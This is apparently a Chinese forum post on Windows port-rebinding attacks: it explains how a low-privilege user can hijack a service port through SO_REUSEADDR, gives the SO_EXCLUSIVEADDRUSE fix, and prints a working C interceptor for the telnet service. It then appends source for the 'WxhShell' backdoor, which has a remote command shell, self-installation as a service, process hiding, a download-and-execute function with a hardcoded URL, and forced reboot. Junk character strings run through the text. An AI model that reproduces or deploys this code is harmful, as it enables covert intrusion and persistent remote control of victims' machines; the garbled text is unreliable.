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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lH%%iYBM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kB! iEoIBA  
%2 I >0  
  saddr.sin_family = AF_INET; )yTBtYw3  
*3!#W|#=]N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .UGbo.e  
x/d(" Bb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mNQ~9OJ1  
5/E7@h ,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _xmS$z)TO  
DtFzT>$^F  
  这意味着什么?意味着可以进行如下的攻击: XU*4MU^'  
 Z,"f2UJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4!U)a  
`9`T,uJe  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +a'["Gjq;  
my}l?S[2d@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6JB* brO  
-+HD5Hc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J=?P`\h  
bH Nf>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n8.Tag(#  
WNK)IC~c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8-s7s!j  
\%czNF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~7$jW[i  
2EC<8}CG  
  #include 6 =H]p1p~O  
  #include 9>-]*7  
  #include >$:_M*5  
  #include    l Zz%W8"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q35D7wo'}  
  int main() |@Ze{\  
  { N Wf IRL  
  WORD wVersionRequested; 6R|^IPOGp  
  DWORD ret; H{,qw%.|KA  
  WSADATA wsaData; L(q~%  
  BOOL val; m:)s UC0  
  SOCKADDR_IN saddr; 9CFh'>}$  
  SOCKADDR_IN scaddr; 7U2?in}?Qi  
  int err; o#QS: '|  
  SOCKET s; 2rWPqG4e  
  SOCKET sc; #By~gcN  
  int caddsize; 1'!%$D  
  HANDLE mt; >c=-uI  
  DWORD tid;   -J;;6aA  
  wVersionRequested = MAKEWORD( 2, 2 ); 71c(Nw~iQ  
  err = WSAStartup( wVersionRequested, &wsaData ); i'3)5  
  if ( err != 0 ) { Y(;u)uN_  
  printf("error!WSAStartup failed!\n"); Hn}m}A  
  return -1; sf Zb$T J  
  } $QnsP#ePN  
  saddr.sin_family = AF_INET; * zc[t  
   t[p/65L>8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i$6o>V6  
9cQ;h37J>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ke19(r Ch  
  saddr.sin_port = htons(23); ,*Z/3at}5M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NL-V",gI-~  
  { er.;qV'Wz6  
  printf("error!socket failed!\n"); ke2}@|?t  
  return -1; |w.h97fj  
  } @}io K=A  
  val = TRUE; /Q2HN(Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v9 8s78  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;{1  ws  
  { F- {hXM  
  printf("error!setsockopt failed!\n"); oA+'9/UY  
  return -1; 5s:g(gy3BR  
  }  @7J;}9E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ga\kvMtr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9>/:c\q+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rw#?NI:  
xTy)qN]P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0RHjA& r3v  
  { 0,wmEV!)  
  ret=GetLastError(); < 49\B  
  printf("error!bind failed!\n"); `V{'GF&[  
  return -1; h]WW?.   
  } 87rHW@\](  
  listen(s,2); GpCjoNcW{  
  while(1) 0Vj!'=Ntv  
  { &8R%W"<K  
  caddsize = sizeof(scaddr); =]h5RC  
  //接受连接请求 zi~_[l-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Las4ux[_  
  if(sc!=INVALID_SOCKET) ;m{*iKL6{  
  { %k8} IBL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z~}=q  
  if(mt==NULL) 3%Jg' Tr+  
  { =F2e*?a3  
  printf("Thread Creat Failed!\n"); |I7-7d-; /  
  break; V\8vJ3.YV  
  } \>NjeMuWU  
  } .@#i  
  CloseHandle(mt); @,i_ KN6C  
  } Zfyr& ]"  
  closesocket(s); pEIc ?i*  
  WSACleanup(); l^x5m]Kt  
  return 0; K9co_n_L  
  }   AY['!&T  
  DWORD WINAPI ClientThread(LPVOID lpParam) )>q.!"B  
  { w=Xil  
  SOCKET ss = (SOCKET)lpParam; 7Wg0-{yK4  
  SOCKET sc; oXG,8NOdC  
  unsigned char buf[4096]; ai% fj*  
  SOCKADDR_IN saddr; EJP##eGx  
  long num; &) 7umdSgi  
  DWORD val;  ]qCAog  
  DWORD ret; K1O0/2O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CMa~BOt#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BgLK}p^  
  saddr.sin_family = AF_INET; HqXaT6#/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }0c  
  saddr.sin_port = htons(23); c;l d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F,^Q'$ !  
  { O.S(H1z<G  
  printf("error!socket failed!\n"); j;eR9jI$T  
  return -1; ETe,RY  
  } X_XeI!,b  
  val = 100; yjZxD[ Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TfK$tTkM  
  { |Euf:yWY  
  ret = GetLastError(); :|xV}  
  return -1; +.MHI   
  } %^}3:0G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pb=J4Lvz(d  
  { PNgj 8J4  
  ret = GetLastError(); y8jk9Tv  
  return -1; |) QE+|?P  
  } v0`E lkaN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rwr>43S5<3  
  { 'Uqz,  
  printf("error!socket connect failed!\n"); Y( n# =  
  closesocket(sc);  g!5`R`7  
  closesocket(ss); 8)3g!3S  
  return -1; g9I2 e<;o  
  } H `Fe |6I&  
  while(1) RVtb0FL  
  { 09pnM|8A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X2!vC!4P?L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^'r/;(ZF*/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QcG4~DEX4  
  num = recv(ss,buf,4096,0); Ul7)CT2:  
  if(num>0) s<LF=qGu  
  send(sc,buf,num,0); ^0ZabR'  
  else if(num==0) FS30RP3 `/  
  break; gy/z;fB  
  num = recv(sc,buf,4096,0); jV`xRjh  
  if(num>0) !\.x7N<)0  
  send(ss,buf,num,0); @D&VOJV  
  else if(num==0) !},_,J~(|  
  break; hSE\RX 9  
  } l[mXbQd  
  closesocket(ss); E\&~S+:Xp  
  closesocket(sc); z/(^E8F  
  return 0 ; V9f$zjpw  
  } @#$5_uU8\(  
uFNVV;~RFI  
Zoh[tO   
========================================================== [f,; +Ze  
F Cg{!h  
下边附上一个代码,,WXhSHELL FP=%e]vJ  
XhjH68S(  
========================================================== 5%j !SVW  
hDI_qZ  
#include "stdafx.h" { [ QCuR  
$TS4YaJ%  
#include <stdio.h>  Svj%O(  
#include <string.h> X-O/&WRYQ  
#include <windows.h> \zCT""'i  
#include <winsock2.h> tb#. Y  
#include <winsvc.h> [=imF^=3Vb  
#include <urlmon.h> (<!Yw|~  
v:kTZB  
#pragma comment (lib, "Ws2_32.lib") hOjy$Z  
#pragma comment (lib, "urlmon.lib") uc4#giCD  
6jT+kq)  
#define MAX_USER   100 // 最大客户端连接数 v1wMXOR  
#define BUF_SOCK   200 // sock buffer }DiMt4!ZC!  
#define KEY_BUFF   255 // 输入 buffer ,;9byb  
IF-g %  
#define REBOOT     0   // 重启 L5 ~wX  
#define SHUTDOWN   1   // 关机 JG-\~'9  
:^7/+|}9p  
#define DEF_PORT   5000 // 监听端口 H;5FsKIF  
FY  U)sQ  
#define REG_LEN     16   // 注册表键长度 >DqV^%2l  
#define SVC_LEN     80   // NT服务名长度 W,'30:#Fr7  
v.Wkz9 w}  
// 从dll定义API KLi&T mIB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *mH++3h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `{BY {  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J_) .Hd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ";\na!MT  
uM|*y-4  
// wxhshell配置信息 oqeA15k$  
struct WSCFG { $<&N#  
  int ws_port;         // 监听端口 6S*L[zBnA\  
  char ws_passstr[REG_LEN]; // 口令 ;Gf,$dbWn  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hxe!68{aR  
  char ws_regname[REG_LEN]; // 注册表键名 el\xMe^SY  
  char ws_svcname[REG_LEN]; // 服务名 EI)2 c.A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nBLb1T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ej7L-~lxQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &bGf{P*Da  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7kITssVHI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f$5\ b[O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /EJy?TON*  
~1aM5Ba{  
}; R T~oJ~t;  
pFV~1W:  
// default Wxhshell configuration ?o`:V|<v  
struct WSCFG wscfg={DEF_PORT, CMyz!jZ3  
    "xuhuanlingzhe", UkXa mGoy3  
    1, >vR2K^  
    "Wxhshell", !]5V{3  
    "Wxhshell", u%6b|M@P  
            "WxhShell Service", ggrkj0  
    "Wrsky Windows CmdShell Service", 1|AY&u%fiP  
    "Please Input Your Password: ", bR1Q77<G\  
  1, Sx (E'?]  
  "http://www.wrsky.com/wxhshell.exe", F\v~2/J5v  
  "Wxhshell.exe" d'H gek{T  
    }; 4?+jvVq  
#3{{[i(;i  
// 消息定义模块 ]>ndFE6kl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MttFB;Tp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hewc5vrL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9(_n8br1  
char *msg_ws_ext="\n\rExit."; +JXn   
char *msg_ws_end="\n\rQuit."; osLEH?iKW  
char *msg_ws_boot="\n\rReboot..."; +UTBiB R  
char *msg_ws_poff="\n\rShutdown..."; f'`y-]"V5)  
char *msg_ws_down="\n\rSave to "; P=y1qqC  
77 Z:!J|  
char *msg_ws_err="\n\rErr!"; D4$"02"  
char *msg_ws_ok="\n\rOK!"; /5 OQ0{8p  
!ZCxi  
char ExeFile[MAX_PATH]; 7qWa>fX  
int nUser = 0; (OavgJ+Y  
HANDLE handles[MAX_USER]; /c4$m3?]  
int OsIsNt; e ^`La*n  
+apn3\_  
SERVICE_STATUS       serviceStatus; ) :Px`] 5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 04}c_XFFE  
yLl:G;  
// 函数声明 LA(/UA3Izd  
int Install(void); rTJ;s  
int Uninstall(void); ec*Ni|`Z'  
int DownloadFile(char *sURL, SOCKET wsh); }?O>.W,/  
int Boot(int flag); 1,we: rwX  
void HideProc(void); .R@XstQ  
int GetOsVer(void); xf|C{XV@H  
int Wxhshell(SOCKET wsl); wNNg"}&P  
void TalkWithClient(void *cs); Y 7?q `  
int CmdShell(SOCKET sock); d4A:XNKB  
int StartFromService(void); #&z'?x^a  
int StartWxhshell(LPSTR lpCmdLine); "-G7eGQ  
+vV?[e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ldRq:M5z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &k`lb kq  
}b{7+ + Ah  
// 数据结构和表定义 yD0DPtti  
SERVICE_TABLE_ENTRY DispatchTable[] = y`7b3*P  
{ ZK<c(,oZ^  
{wscfg.ws_svcname, NTServiceMain}, _b * gg  
{NULL, NULL} *h pS/g/3\  
}; ?d k)2  
&7{yk$]*  
// 自我安装 4]xD-sc  
int Install(void) X8~?uroq  
{ F9r|EU#;  
  char svExeFile[MAX_PATH]; '=Acg"aT  
  HKEY key; P#rS.CIh  
  strcpy(svExeFile,ExeFile); I-Am9\   
&F*eo`o}6  
// 如果是win9x系统,修改注册表设为自启动 `84,R!  
if(!OsIsNt) { x}{O9LiR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &,\my-4c>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ajf(Ii\/  
  RegCloseKey(key); [LV>z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B f.- 5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^pqJz^PO.  
  RegCloseKey(key); pTH5-l_f ]  
  return 0; =t.T9'{  
    } E[FE-{B#  
  } ^#4<~zU  
} F^?DnZs  
else { \9}DAM_  
`1lGAKv  
// 如果是NT以上系统,安装为系统服务 p]7IoO -@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x( (Rm_'  
if (schSCManager!=0) \]3[Xw-$  
{ N7^sn!JB  
  SC_HANDLE schService = CreateService \ AB)L{  
  ( q-/t?m0  
  schSCManager, zT>BC}~.b  
  wscfg.ws_svcname, u7},+E)+B  
  wscfg.ws_svcdisp, \4O_@d`A  
  SERVICE_ALL_ACCESS, Sf2xI'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gN]\#s@[  
  SERVICE_AUTO_START, VDiW9]  
  SERVICE_ERROR_NORMAL, Ue!yK  
  svExeFile, z:&/O&?  
  NULL, q w @g7  
  NULL, |w5,%#AeO$  
  NULL, @E>I<j,D  
  NULL, g|tclBx  
  NULL 2G_]Y8  
  ); dZ4c!3'F  
  if (schService!=0) thE9fr/  
  { ,}NTV ~  
  CloseServiceHandle(schService); s(r4m/  
  CloseServiceHandle(schSCManager); 4zZ.v"laVM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }L=Qp=4  
  strcat(svExeFile,wscfg.ws_svcname); Xv+,Z<>iQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lAkg47i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 20I/En  
  RegCloseKey(key); e%IbM E]x  
  return 0; 6MLjU1  
    } `Q[NrOqe"  
  } oc#hAjB.  
  CloseServiceHandle(schSCManager); 2UxmKp[  
} lNTbd"}$:  
} [2!C ^ \t  
*Rxn3tR7  
return 1; Z*=$n_ G  
} ?-tNRIPW@p  
3$.#\*s_4  
// 自我卸载 ?# RhHD  
int Uninstall(void) 6h0}ZM  
{ I1I-,~hO  
  HKEY key; EK&0Cn3z  
L~RFI&b  
if(!OsIsNt) { 3eB)X2~   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dN7.W   
  RegDeleteValue(key,wscfg.ws_regname); gdq6jz  
  RegCloseKey(key); U*,\UF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }(,{^".[}  
  RegDeleteValue(key,wscfg.ws_regname); P'DcNMdw  
  RegCloseKey(key); Y?L>KiM$  
  return 0; /y6I I$AvM  
  } $VhY"<  
} /_YTOSZjm  
} cDK)zD  
else { Z] x6np  
[ako8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [B+:)i  
if (schSCManager!=0) 7 p1B"%  
{ 4YR{ *  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _dmG#_1  
  if (schService!=0) 9,JWi{lIv  
  { i% , 't  
  if(DeleteService(schService)!=0) { ZOpKi:\  
  CloseServiceHandle(schService); _"*s x-  
  CloseServiceHandle(schSCManager); X{<taD2~  
  return 0; i"pOYZW1  
  } Od:-fw  
  CloseServiceHandle(schService); >Bu9D  
  } \Hf/8!q  
  CloseServiceHandle(schSCManager); Pn6~66a6  
} [t fB*m5  
} lm;hW&O9  
={oNY.(Q  
return 1; Fl=H5HR  
} [F+W]Jk,  
]&Y^  
// 从指定url下载文件 w($a'&d`0  
int DownloadFile(char *sURL, SOCKET wsh) ,jis@]:  
{ G|1.qHP[F  
  HRESULT hr; QWfSm^ t  
char seps[]= "/"; #d\&6'O  
char *token; #c@&mus  
char *file; 9c)#j&2?H  
char myURL[MAX_PATH]; \N0vA~N.  
char myFILE[MAX_PATH]; A[;deHg=  
8ex;g^e  
strcpy(myURL,sURL); /CsP@f_Gw  
  token=strtok(myURL,seps); YQG l8E'  
  while(token!=NULL) >{Hg+/  
  { g3NUw/]#  
    file=token; MBA?, |9Q#  
  token=strtok(NULL,seps); -\?-  
  } ^)>( <6  
xE?KJ  
GetCurrentDirectory(MAX_PATH,myFILE); Pa3-0dUr  
strcat(myFILE, "\\"); a#r{FoU{M8  
strcat(myFILE, file); ]}rNxT4<  
  send(wsh,myFILE,strlen(myFILE),0); ^{MqJ\S7H  
send(wsh,"...",3,0); vNs%e/~vj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); diJpbR^JP  
  if(hr==S_OK) cHFW"g78  
return 0; I&La0g_E  
else ?{f6su@rW  
return 1; Gr2}N"X=  
"73y}'  
} > U?\WgE$  
P knOeW"j  
// 系统电源模块 a pa&'%7  
int Boot(int flag) ?tjEXg>ny  
{ ?Cf'IBpN  
  HANDLE hToken; ;`7~Q  
  TOKEN_PRIVILEGES tkp; F7JO/U^oU  
NzQvciJ@"  
  if(OsIsNt) { >) ^!gz8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ljCgIfZ_4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {gn[ &\  
    tkp.PrivilegeCount = 1; 5VcYdu3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^YZ#P0 y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m1hf[cg  
if(flag==REBOOT) { i\'N1S<D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #75;%a8  
  return 0; 1WKDG~  
} <.2Z{;z  
else { ] ge-b\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6bn-NY:i  
  return 0; %"6IAt  
} tpD?-`9o  
  } U|QDV16f  
  else { ^eRuj)$5A  
if(flag==REBOOT) { Sq'z<}o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1XKk~G"D  
  return 0; g/J!U8W"  
} {m?x},  
else { o5R\7}]GE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )wRD  
  return 0; F*=RP$sj  
} $9~1s/('  
} ;rKYWj>IR  
-iHhpD9"X  
return 1; 1DP)6{x  
} SJ-Sac58r  
JNz0!wi  
// win9x进程隐藏模块 Vmc)or*#  
void HideProc(void) 9vu8koL  
{ NsHveOK1.  
p3o?_ !Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oX~CTunP  
  if ( hKernel != NULL ) K;l'IN"N  
  { / ["T#`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i.]zq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I1~g?jpH  
    FreeLibrary(hKernel); jlBCu(.,_  
  } %K7}yy&9C  
*@nUas 2"  
return; rzHa&:Y  
} Ah6x2(:  
C.-a:oQ[  
// 获取操作系统版本 jxaoQeac  
int GetOsVer(void) val<N293L>  
{ rE:>G]j6  
  OSVERSIONINFO winfo; 6]S.1BP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GB3B4)cX4Y  
  GetVersionEx(&winfo); #8jd,I% L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tt|6N*b'  
  return 1; }i:'f 2/  
  else 8B/9{8  
  return 0; 3~ZVAg[c  
} +.I'U9QeUN  
#+0 R!Y  
// 客户端句柄模块 p%1m&/ `F  
int Wxhshell(SOCKET wsl) h$\h PLx  
{ ;[ueNP%*y|  
  SOCKET wsh; rgKn=8+a  
  struct sockaddr_in client; [Gy'0P(EQ  
  DWORD myID; |$2N$6\SP  
RP` `mI  
  while(nUser<MAX_USER) \*"`L3  
{ =B(mIx;m  
  int nSize=sizeof(client); gyus8#sT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [Ox(.  
  if(wsh==INVALID_SOCKET) return 1; h&'=F)5  
O&$0&dhc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @{}rG8  
if(handles[nUser]==0) X?df cS*!n  
  closesocket(wsh); T1N H eH>  
else /iC_!nu  
  nUser++; cZ< \  
  } kO ![X^V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hg(5S,O2  
y1,5$0@G  
  return 0; (9GbG"   
} Hed$ytMaGz  
;<-7*}Dj  
// 关闭 socket j Z'&0x"U  
void CloseIt(SOCKET wsh) 0HbJKix!  
{ m6U8)!)T  
closesocket(wsh); J{ ~Rxa  
nUser--; dlD}Ub  
ExitThread(0); ,")F[%v  
} 6k9LxC:M  
Z.Pi0c+  
// 客户端请求句柄 3j*'HST  
void TalkWithClient(void *cs) M#M?1(O/NE  
{ .~`Y)PON  
 _^T}_  
  SOCKET wsh=(SOCKET)cs; % h+uD^^$  
  char pwd[SVC_LEN]; g42T#p8^  
  char cmd[KEY_BUFF]; }v&K~!*  
char chr[1]; EO"6Dq(  
int i,j; jf8w7T  
[brkx3h  
  while (nUser < MAX_USER) { %VS 2M #f  
L, #Byao  
if(wscfg.ws_passstr) { Cg7)S[zl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EFD?di)s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3jS7 uU  
  //ZeroMemory(pwd,KEY_BUFF); YLE/w@*  
      i=0; '?b\F~$8  
  while(i<SVC_LEN) { Eny!R@u7q  
q6Rw4  
  // 设置超时 f:&)"  
  fd_set FdRead; `}Eh[EOHJ  
  struct timeval TimeOut; Z"]xdOre  
  FD_ZERO(&FdRead); !;jgzi?z  
  FD_SET(wsh,&FdRead); l*qk1H"g  
  TimeOut.tv_sec=8; 1B(G]o_>!  
  TimeOut.tv_usec=0; Z|}H^0~7S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PQi }Evxa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hj+p`e S  
ZDfS0]0F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 51z/  
  pwd=chr[0]; *0lt$F$~b  
  if(chr[0]==0xd || chr[0]==0xa) { t={poQC~  
  pwd=0; Z rA Um  
  break; k,A M]H  
  } &hO$4qtN  
  i++; waBRQh  
    } L-j/R1fTvl  
}=TqJy1  
  // 如果是非法用户,关闭 socket (&k') ff9K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R&gWqt/  
} 5%'o%`?i  
vu44!c@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KLON;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { qjUI  
FX cc1X/  
while(1) { dWMccn;-m  
Oxpo6G  
  ZeroMemory(cmd,KEY_BUFF); S3nB:$_-;  
ykJ+%gla  
      // 自动支持客户端 telnet标准   :J<Owh@  
  j=0; .iN-4"_j1  
  while(j<KEY_BUFF) { %s]U@Ku(a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u4@, *tT  
  cmd[j]=chr[0]; Sb^add0dT  
  if(chr[0]==0xa || chr[0]==0xd) { t2~"B&7My  
  cmd[j]=0; ]Qh[%GD  
  break; 6Q?BwD+>  
  } ' l|41wxk  
  j++; LAj}kW~  
    } 7? +5%7-  
3/SfUfWo  
  // 下载文件 4 fZY8  
  if(strstr(cmd,"http://")) { "0!~g/X`rK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L00Sp#$\  
  if(DownloadFile(cmd,wsh)) HI}pX{.\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4F}g(  
  else ]r"31.w(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u}Lc|_ea`  
  } R*eM 1  
  else {  Jiylrf`o  
9sU,.T  
    switch(cmd[0]) { '6J$X-  
  %-po6Vf  
  // 帮助 HTpd~W/\  
  case '?': { !O_^Rn+<2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,?~,"IQyi[  
    break; ui0(#2'h%  
  } O'U,|A  
  // 安装 iGNKf|8{  
  case 'i': { RW8u0 ?b  
    if(Install()) )X$n'E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oYx f((x  
    else [/j-d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Hf-~6  
    break; 90D.G_45  
    } gipRVd*TA  
  // 卸载 !&%bl  
  case 'r': { (7!(e  ,  
    if(Uninstall()) ~3]8f0^%m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4HmRsOl  
    else W7> _nK+g?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :\We =oX  
    break; rVmO/Y#Hx$  
    } 3e1"5~?'<  
  // 显示 wxhshell 所在路径 ;%9ZL[-  
  case 'p': { 2mG?ve%m)  
    char svExeFile[MAX_PATH]; t2<(by!  
    strcpy(svExeFile,"\n\r"); 9j9?;3;  
      strcat(svExeFile,ExeFile); 24l9/v'  
        send(wsh,svExeFile,strlen(svExeFile),0); Yb/^Qk59  
    break; =5F49  
    } CcE TS}Q0C  
  // 重启 +O6@)?pI  
  case 'b': { $yJfAR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :D-vE7  
    if(Boot(REBOOT)) vUA`V\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l>q.BG  
    else { <h0ptCB  
    closesocket(wsh); 1N*~\rV*?  
    ExitThread(0); qIp`'.#m  
    } ]P^ +~  
    break; jL>r*=K)%  
    } ),|bP`V  
  // 关机 9rz"@LM  
  case 'd': { ><^@1z.J  
